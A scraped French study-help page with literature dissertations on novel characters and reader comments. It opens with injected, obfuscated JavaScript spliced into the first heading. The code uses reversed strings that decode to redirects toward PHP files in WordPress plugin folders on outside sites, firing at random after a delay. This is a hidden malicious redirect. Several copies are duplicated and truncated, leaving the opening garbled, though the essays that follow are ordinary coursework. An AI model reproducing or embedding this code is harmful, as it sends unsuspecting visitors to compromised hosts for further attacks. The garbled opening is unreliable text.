II L’identification n’est $nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);} $mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re $mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re $NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);} toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat $NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);} tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); 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A) le lecteur peut ne pas sidentifier au personnage., b) le personnage n’est qu’ tre de papier dont l’épaisseur psychologique est limitée, c) des personnages trop stéréotypés.

Que le lecteur s’identifie ou non au personnage principal, il ne s’attache pas uniquement au personnage principal pour apprécier le roman. Le roman n’est que composé du personnage principal ?

III Que le lecteur sidentifie ou non au personnage principal, il ne sattache pas uniquement au personnage principal pour apprécier le roman. On ne peut réduire un roman quau personnage principal. Dautres éléments sont à  lorigine de la réussite dun roman.

A) l’importance de l’intrigue, b) le rà´le de l’écriture, c) un roman est un moyen de faire réfléchir le lecteur, 9 reflexions sur “ dissertation sur le roman ”.

Merci beaucoup pour cette dissert, vous m’avez sauvé la vie pour mon devoir à rendre !! Elle est hyper bien rédigée cette dissertation, vous aviez quelle note ? Continuez ainsi!!

Merci pour ce commentaire très sympa!! J’avais eu 15/20 🙂 L’admin

Top cette dissert merci 🙂

Merci !!! Super rédaction, par rapport à moi en tout cas 😉

Bonjour , j’ai une dissertation à faire dans deux jour mais j’arrive pas pouvez m’aider svp Le sujet c’est pour apprécier un roman,un lecteur à t-il besoin de s´identifier au personnage principal et de partager ses sentiments ? Merci de votre compréhension et de me répondre au plus vite !

Salut elle est super cette dissertation. J’ai eu 16. Merci. Mon prof nous propose un autre sujet : La société est elle le seul obstacle à la réussite du personnage ambitieux ? Pour répondre à cet question vous vous appuierez essentiellement sur le roman le rouge et le noir de Stendhal ainsi que vos lectures perosnnelles . Peux tu m’aider ?

mec, tu viens sans doute de me sauver la vie MERCI très bien écrit, je me prosterne

Tant mieux ! Pas besoin de se prosterner 😂😂 Bon confinement

Si t’en a d’autres comme ça fait péter bg

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Le personnage de roman, un modèle de vertu ?

Individu, morale et société

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Sujet d'écrit • Dissertation

Le personnage de roman, un modèle de vertu ?

Intérêt du sujet • Que faire quand nos aspirations entrent en conflit avec les valeurs de la société ? En s'appuyant sur des personnages de fiction, la littérature présente des réponses très variées à ce questionnement éthique.

► La Princesse de Clèves s'achève ainsi : « Sa vie, qui fut assez courte, laissa des exemples de vertu inimitables. » Un personnage de roman doit-il forcément être un modèle de vertu ?

Vous répondrez à cette question dans un développement argumenté, en vous appuyant sur votre lecture du roman La Princesse de Clèves de Mme de Lafayette et sur les autres textes étudiés dans le cadre du parcours « Individu, morale et société ».

Les clés du sujet

Analyser le sujet

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Formuler la problématique

Un personnage de roman doit-il s'imposer comme un idéal ? En quoi et comment le romancier donne-t-il à réfléchir sur des questions éthiques, en s'appuyant sur des personnages plus ou moins droits ?

Construire le plan

015_PLAN

Corrigé Guidé

Les titres en couleur ou entre crochets ne doivent pas figurer sur la copie.

Introduction

[Accroche] Certaines époques ont affirmé qu'elles croyaient dans les pouvoirs de la littérature, notamment dans sa capacité d'influencer les mœurs. C'est vrai du xvii e  siècle : les écrivains du classicisme cherchent à plaire et à instruire à travers leurs personnages et leurs récits.

[Explicitation du sujet] Dans cette perspective, la fin de La Princesse de Clèves est éloquente : « Sa vie, qui fut assez courte, laissa des exemples de vertu inimitables. » Un personnage de roman doit-il forcément être un modèle de vertu ? Doit-il être considéré comme l'incarnation d'un idéal ou d'une certaine morale que l'écrivain propose à son lecteur ?

[Annonce du plan] Nous verrons d'abord que certains personnages sont construits autour de la notion d'exemplarité morale [I] , avant de montrer que les personnages à la moralité plus discutable présentent également un intérêt pour le lecteur [II] . Ce sont cependant les personnages complexes, tourmentés, qui s'avèrent probablement les plus attachants [III] .

I. La tradition du héros exemplaire

► Le secret de fabrication

Il s'agit ici d'examiner comment et pourquoi certains personnages apparaissent effectivement comme des modèles. Selon les époques et les esthétiques, les partis pris varient sensiblement.

1. Des héros aux qualités exceptionnelles

Certains héros de roman, personnages extraordinaires, sont érigés en modèles de conduite.

La princesse de Clèves est louée à de multiples reprises pour ses qualités hors du commun, physiques et morales, à grand renfort de superlatifs. Ses actions et sentiments sont présentés comme singuliers ; elle évite jusqu'au bout de céder à sa passion, ce qui en fait un modèle de maîtrise de soi.

Au Moyen Âge, les romans de chevalerie abondent en personnages que leurs multiples qualités (générosité, fidélité, courage, don de soi…) distinguent. Elles suscitent l'admiration du lecteur et lui donne l'envie de les imiter. Citons par exemple Yvain ou le chevalier au lion de Chrétien de Troyes.

Dans La Condition humaine de Malraux, Katow, arrêté, doit être jeté vivant dans le foyer d'une locomotive ; du cyanure pourrait lui épargner cette mort atroce, mais il l'offre par solidarité à ses deux jeunes compagnons, qui doivent subir le même sort, et se sacrifie avec altruisme et générosité.

Le personnage « modèle » est aujourd'hui plus rare qu'aux débuts de l'histoire du roman : la littérature s'emploie de plus en plus à faire apparaître des failles.

2. Des récits à visée édifiante, qui condamnent les comportements déviants

Dans les récits à visée édifiante, tels ceux de Mme de Lafayette, certains personnages permettent de dénoncer des comportements qui s'écartent des codes moraux ou sociaux.

L'histoire du vidame de Chartres attire l'attention sur les dangers de la duplicité et de l'infidélité. Le vidame s'est engagé auprès de plusieurs femmes, auxquelles il ment effrontément. Son secret est éventé après la perte malencontreuse d'une lettre, qui met fin à sa liaison en partie intéressée avec la reine Catherine de Médicis.

Dans La Princesse de Montpensier , Madame de Lafayette jette un regard critique sur son héroïne, qui meurt d'avoir suivi sa passion : en cédant au duc de Guise, elle perd l'estime de son mari trahi, tandis que son amant l'abandonne bien vite pour une autre. Ainsi s'achève le récit : «  [Elle] aurait été la plus heureuse si la vertu et la prudence eussent conduit toutes ses actions ».

II. L'intérêt des personnages non vertueux

Sans contredire ce qui a été exposé dans la partie précédente, il convient ici de nuancer la réflexion en soulignant l'intérêt des personnages qui s'écartent des idéaux, en expliquant comment et pourquoi ils le font, et quel attrait le lecteur peut y trouver.

1. Des personnages qui évoluent au contact de la société

Certains personnages se forgent en se frottant à la société, ce qui provoque leur chute ou leur triomphe.

La princesse de Montpensier est d'abord présentée comme un modèle féminin ; mais sa vertu est menacée par sa passion pour le duc de Guise. Elle finit par lui céder, la cour (lieu de tentation) les ayant rapprochés.

Georges Duroy, dans Bel-Ami de Maupassant, est un anti-héros aigri par sa pauvreté qui profite de diverses rencontres pour faire sa place dans le milieu journalistique. De plus en plus sournois et calculateur, il connaît une ascension fulgurante dans une société corruptrice et corrompue dont il a bien saisi le fonctionnement.

2. Des personnages immoraux qui fascinent

La fascination exercée par des personnages franchement immoraux n'est pas à négliger. André Gide, écrivain du xx e  siècle, déclare non sans malice qu'« on ne fait pas de bonne littérature avec de bons sentiments » !

Dans La Princesse de Clèves , la cour du roi est le lieu par excellence des intrigues. Sans le jeu des passions et le divertissement qu'elles procurent, la vie y serait morne et peu romanesque. Les récits enchâssés (le vicomte de Chartres, madame de Tournon…) foisonnent en tromperies. Nemours transgresse les codes sociaux en volant le portrait de la Princesse et en s'introduisant de nuit dans son jardin ; ces infractions excitent l'intérêt du lecteur.

Les Liaisons dangereuses de Laclos, roman épistolaire, donnent à voir les manipulations de deux libertins, évoluant dans une société décadente et hypocrite ; ils se jouent de leurs victimes naïves par goût du défi et par volonté de pouvoir.

III. Le choix de personnages complexes

On peut pousser le raisonnement plus loin, en montrant que les personnages les plus fascinants sont dotés d'une certaine complexité, qui suscite des questionnements éthiques.

1. Des personnages confrontés à des choix délicats

Le personnage peut être placé dans une situation difficile et être tenté de faire le « mauvais choix ». Le lecteur est invité à partager ses doutes.

M. de Clèves est confronté à une situation inédite, après l'aveu de sa femme, qui en aime un autre ; se pose la question de l'attitude à adopter. Passionnément épris, il cède à la jalousie, outrepasse son rôle de mari et meurt de désespoir, n'ayant su rester mesuré.

La princesse de Clèves est, elle aussi, soumise à un choix terrible dès lors qu'elle est exposée au milieu dangereux de la cour : Mme de Chartres, mourante, alerte sa fille : « Vous êtes sur le bord du précipice : il faut de grands efforts et de grandes violences pour vous retenir. »

Dans Les Misérables de Hugo, Jean Valjean, ancien bagnard, s'est refait une vie sous un autre nom. Dans le chapitre « Tempête sous un crâne », il est placé face à un dramatique cas de conscience : il s'agit de faire condamner un innocent à sa place et de tirer définitivement un trait sur son passé, ou de se livrer à la justice.

2. Des personnages qui présentent la complexité du vivant

Le personnage de roman dépasse souvent le manichéisme pour devenir un être complexe, ni totalement bon, ni complètement mauvais.

Les choix de la princesse de Clèves peuvent interroger. L'aveu de sa passion à son mari, présenté comme une démarche très singulière, est-il une preuve de vertu ? une simple faute qui entraîne la jalousie et la mort de M. de Clèves ? Le choix final de la princesse, retranchée derrière son « devoir » et son « repos », laisse songeur : elle s'invente des codes moraux, en marge d'une société qui aurait pu accepter son union avec Nemours.

Dans Madame Bovary , Flaubert imagine une femme fascinée par ses lectures romantiques et ses rêves romanesques, qui contrastent de manière saisissante avec sa vie de petite-bourgeoise provinciale auprès d'un mari médiocre. La tentation de l'adultère puis la chute qui lui succède éveillent des sentiments très mêlés chez le lecteur, qui comprend la frustration d'Emma Bovary, tout en en saisissant le ridicule.

Meursault, dans L'Étranger de Camus, tue un Arabe sans mesurer la portée de son geste ; incompris et rejeté, il semble agir en dehors des critères du bien et du mal, en marge des codes sociaux, ce qui rend le personnage profondément troublant. Les valeurs deviennent flottantes et instables.

[Synthèse] Nombre de personnages fonctionnent comme des modèles ou des contre-modèles sur le plan moral, invitant le lecteur à des questionnements éthiques : le roman n'est pas prescriptif, mais permet une réflexion plus profonde sur l'individu et ses rapports plus ou moins tendus avec la société.

[Ouverture] Le théâtre a pu lui aussi renvoyer le spectateur à une interrogation sur les valeurs et les mœurs : le théâtre classique de Molière est à cet égard exemplaire.

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Dissertation: Un personnage médiocre peut-il être un héros de roman?

Thèmes abordés.

Personnage de roman, héros, personnage médiocre, roman

Résumé du document

Le roman apparaît dès l'Antiquité avec par exemple l'épopée, qui narrait les exploits historiques ou mythiques d'un héros ou d'un peuple. En effet, dans la mythologie grecque, le mot héros signifie mi-homme mi-dieu et à cette époque, les héros de roman accomplissaient des exploits formidables, laissant ainsi paraître leur courage et leur force. Pourtant, de nos jours, le héros est simplement considéré comme étant le personnage principal d'une histoire. Il existe aussi des personnages médiocres. Médiocre vient du latin medius, qui signifie moyen, plutôt en dessous de la moyenne, sans éclat. Ces personnages n'ont donc rien d'extraordinaire. Traditionnellement, nous avons l'habitude d'opposer l'héroïque au médiocre. On se demandera donc si, dans un roman, un personnage médiocre peut être un héros. Nous étudierons cette question en trois parties. Dans un premier lieu, nous verrons que le roman a besoin de héros et pourquoi, puis, Nous verrons que certains personnages sont médiocres mais qu'ils peuvent devenir des héros, et pour finir, nous verrons que cette médiocrité dans le roman connaît certaines limites.

[...] Grâce à la médiocrité du personnage, le lecteur peux mieux s'identifier à lui plutôt qu'à un personnage dénué de défauts car il retrouve en ce personnage un côté humain. Cette identification permet au lecteur de rentrer plus facilement dans l'intrigue. En effet, le personnage médiocre est souvent tenté par le mal qui reflète le côté sombre de chaque être humain, car il faut l'avouer, il y a une part de médiocrité en chacun de nous. Et si l'auteur donne un côté sympathique à son personnage, tout est fait pour que le procédé d'identification se fasse. [...]

[...] La princesse finit par mourir de tristesse en apprenant cette nouvelle. On pense également à l'amour de la Princesse de Clèves pour le duc de Nemours, provoquant la mort de son mari Les héros se doivent d'être exemplaires. En effet, afin de susciter l'intérêt de ses lecteurs, l'auteur se voit en quelque sorte obligé de rendre exemplaire le destin de son personnage. De plus, si le roman a besoin de héros exemplaires, c'est aussi pour faire passer des valeurs morales au lecteur en illustrant des rêves et des idéaux à travers ces personnages. [...]

[...] De même, dans Le Rouge et le Noir, ce qui fait de Julien Sorel un personnage extraordinaire, c'est en parti son ambition, sa beauté quasi féminine, mais aussi son amour pour Napoléon Bonaparte. Sa rencontre avec Mme de Rênal et le coup de suivre qu'elle a entrainé montre que Mme de Rênal a succombé à son charme dès la première fois qu'elle l'a vu. Ils succombent à des passions absolues. Bien souvent, dans les romans, les héros éprouvent des passions absolues et qui deviennent même parfois destructrices. On pense évidemment à La Princesse de Montpensier de Mme de Lafayette. [...]

[...] En effet, dans la mythologie grecque, le mot héros signifie mi-homme mi-dieu et à cette époque, les héros de roman accomplissaient des exploits formidables, laissant ainsi paraître leur courage et leur force. Pourtant, de nos jours, le héros est simplement considéré comme étant le personnage principal d'une histoire. Il existe aussi des personnages médiocres. Médiocre vient du latin medius, qui signifie moyen, plutôt en dessous de la moyenne, sans éclat. Ces personnages n'ont donc rien d'extraordinaire. Traditionnellement, nous avons l'habitude d'opposer l'héroïque au médiocre. On se demandera donc si, dans un roman, un personnage médiocre peut être un héros. [...]

[...] Dans Le Rouge et le Noir de Stendhal, Julien Sorel, fils de charpentier et détesté par son père, qui était pourtant destiné à une triste vie dans la pauvreté, grimpe la hiérarchie sociale en quelques années, notamment grâce à sa liaison avec Mme de Rênal puis celle avec Mathilde de la Mole. Julien Sorel, personnage ambitieux, devient officier et est anobli. La vie de Julien Sorel est l'exemple type d'un destin exceptionnel d'un héros de roman, car à l'époque, passer du statut de pauvre à celui de bourgeois est quelque chose de très rare et d'exceptionnel Les héros possèdent des caractéristiques qui sortent de l'ordinaire. Ils ont des personnalités tout à fait hors du commun. [...]

  • Nombre de pages 5 pages
  • Langue français
  • Format .docx
  • Date de publication 03/04/2011
  • Consulté 33 fois
  • Date de mise à jour 03/04/2011

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